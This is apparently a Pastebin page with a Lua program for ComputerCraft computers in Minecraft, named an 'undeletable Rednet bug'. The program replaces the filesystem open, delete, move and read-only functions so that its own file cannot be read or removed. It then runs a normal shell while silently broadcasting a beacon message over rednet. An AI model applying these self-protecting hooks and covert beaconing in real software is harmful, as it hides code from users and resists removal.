Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Undeletable Rednet 'Bug' program
- bugDelay = 2 --in seconds
- bugMessage = "beep"
- bugSendID = nil
- name = fs.getName(shell.getRunningProgram())
- if not alreadyDone == true then
- oldfsopen = fs.open
- oldisreadonly = fs.isReadOnly
- oldfsdelete = fs.delete
- oldfsmove = fs.move
- fs.open = function(path, mode)
- if fs.getName(path) ~= fs.getName(name) then
- return oldfsopen(path, mode)
- end
- end
- fs.isReadOnly = function(path)
- if fs.getName(path) ~= fs.getName(name) then
- return oldisreadonly(path)
- else
- return true
- end
- end
- fs.delete = function(path)
- if fs.getName(path) ~= fs.getName(name) then
- return oldfsdelete(path)
- else
- return
- end
- end
- fs.move = function(path, dest)
- if fs.getName(path) ~= fs.getName(name) then
- return oldfsmove(path, dest)
- else
- return
- end
- end
- end
- alreadyDone = true
- sides = {"left","right","front","back","top","bottom"}
- for a = 1, #sides do
- if peripheral.getType(sides[a]) == "modem" then
- rednet.open(sides[a])
- end
- end
- function bug()
- while true do
- if bugSendID then
- rednet.send(bugSendID, bugMessage)
- else
- rednet.broadcast(bugMessage)
- end
- sleep(bugDelay)
- end
- end
- function runShell()
- shell.run("shell")
- end
- term.clear()
- term.setCursorPos(1,1)
- parallel.waitForAny(runShell, bug)
- if term.isColor() then term.setTextColor(colors.yellow) end
- print("Goodbye")
- sleep(1)
- os.shutdown()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement